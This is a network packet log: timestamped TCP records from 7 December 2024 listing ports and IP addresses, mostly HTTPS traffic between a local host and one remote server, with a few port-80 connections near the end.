Dec 7, 2024 15:06:03.839765072 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:03.937063932 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:03.937145948 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:03.939992905 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.056659937 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.056680918 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.056858063 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.057194948 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.057881117 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.059719086 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.060266018 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.065320969 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.065749884 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.154170990 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.154293060 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.157051086 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.179996014 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.185355902 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.185734987 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.276786089 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.372087002 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.376302004 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.377439022 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.377512932 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.380075932 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.381786108 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.381863117 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.381864071 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.381912947 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.383868933 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.383953094 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.496089935 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.500915051 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.503587961 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.503658056 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.569339991 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.571747065 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.577594042 CET	49671	443	192.168.2.8	204.79.197.203
Dec 7, 2024 15:06:04.692998886 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.693118095 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.695586920 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.695676088 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.696053982 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.697741985 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.697854996 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.700494051 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.700541973 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.700603962 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.702699900 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.702814102 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.818052053 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.822871923 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.892714977 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:04.895502090 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:04.936971903 CET	49677	80	192.168.2.8	192.229.211.108
Dec 7, 2024 15:06:05.012985945 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.013016939 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.013115883 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.016027927 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.016108990 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.019562960 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.019632101 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.019757986 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.019815922 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.021929026 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.022008896 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.135962009 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.141841888 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.211257935 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.214046001 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.330897093 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.331005096 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.331082106 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.331135988 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.333879948 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.333951950 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.336682081 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.336709023 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.336775064 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.336805105 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.339299917 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.339752913 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.453697920 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.459501982 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.528650045 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.548527956 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.650170088 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.650240898 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.650265932 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.650305986 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.653227091 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.653265953 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.657579899 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.657633066 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.657696009 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.657749891 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.660820007 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.661228895 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.711628914 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.773228884 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.780723095 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.781172037 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.863679886 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.867117882 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.976152897 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.976169109 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.976291895 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.979583979 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.979671001 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.987056971 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.993535042 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.993551016 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:05.993617058 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.996984005 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:05.997754097 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.099569082 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.117592096 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.185221910 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.185276031 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.185393095 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.188357115 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.296287060 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.296375036 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.296390057 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.296444893 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.299592972 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.299645901 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.317671061 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.317819118 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.317888975 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.317888975 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.320858955 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.320940018 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.419509888 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.440747023 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.509483099 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.514420033 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.616930008 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.617008924 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.617038012 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.617082119 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.629457951 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.638355970 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.638375044 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.638444901 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.675225973 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.689054012 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.690798998 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.794987917 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.811131954 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.830064058 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.832823992 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:06.987087011 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:06.990525961 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.001121998 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.006505013 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.006522894 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.006625891 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.006815910 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.008971930 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.008989096 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.126652956 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.128720999 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.182785034 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.186439991 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.318821907 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.326208115 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.326359987 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.326405048 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.370654106 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.370779991 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.440542936 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.441971064 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.442706108 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.442857027 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.510603905 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.517291069 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.561639071 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.562503099 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.679630995 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.756759882 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.759290934 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.759341955 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.759448051 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.759785891 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.762528896 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.829046965 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.829113007 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.831963062 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.831995964 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.879957914 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.882626057 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.946811914 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.949918032 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:07.951630116 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:07.951693058 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.069607019 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.074695110 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.077759981 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.140063047 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.142605066 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.149344921 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.149408102 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.149422884 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.149467945 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.152154922 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.153078079 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.239564896 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.262423992 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.271929026 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.272794008 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.307600975 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.337210894 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.454926014 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.464358091 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.467828989 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.468996048 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.469080925 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.472071886 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.487596989 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.488754988 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.489109039 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.489454031 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.608431101 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.609117031 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.660908937 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.702569008 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.715611935 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.805001974 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.805067062 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.805123091 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.805232048 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.808484077 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.809894085 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.813242912 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.879601955 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.899511099 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.904992104 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.906332016 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:08.929713964 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:08.933022022 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.024688959 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.025990963 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.121623993 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.124974966 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.128154039 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:09.216715097 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.221930027 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.221947908 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.222033978 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:09.227232933 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:09.254817009 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:09.282785892 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:09.302222967 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:09.310305119 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:09.347029924 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.374548912 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.403068066 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.422178030 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.430417061 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.541654110 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.557147026 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:09.595151901 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.595212936 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:09.598026991 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:09.614257097 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.616314888 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:09.622453928 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.622510910 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:09.624811888 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:09.676829100 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.717714071 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.736248016 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.744723082 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.775629044 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.778589010 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:09.909796000 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.912473917 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:09.928375006 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.930231094 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:09.936830044 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.936970949 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:09.938690901 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:09.967422009 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:09.969624996 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:10.049932003 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.089378119 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.101535082 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.104046106 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:10.242005110 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.244338989 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:10.257081032 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.257153988 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:10.259320974 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:10.281547070 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.283572912 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:10.293421984 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.293489933 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:10.295229912 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:10.379268885 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.415124893 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.433801889 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.436614037 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:10.571809053 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.575138092 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:10.595470905 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.597572088 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:10.607142925 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.607208014 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:10.609574080 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:10.625560045 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.627403021 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:10.717513084 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.747776031 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.763638973 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.765819073 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:10.766235113 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:10.885942936 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:10.886018991 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:10.886207104 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:10.909666061 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.912034988 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:10.921871901 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.922090054 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:10.923913002 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:10.955539942 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:10.959511042 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:11.006984949 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:11.045414925 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:11.101519108 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:11.104129076 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:11.147502899 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:11.151923895 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:11.237492085 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:11.237567902 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:11.239455938 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:11.271905899 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:11.273655891 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:11.335803032 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:11.335894108 CET	49705	443	192.168.2.8	13.107.246.63
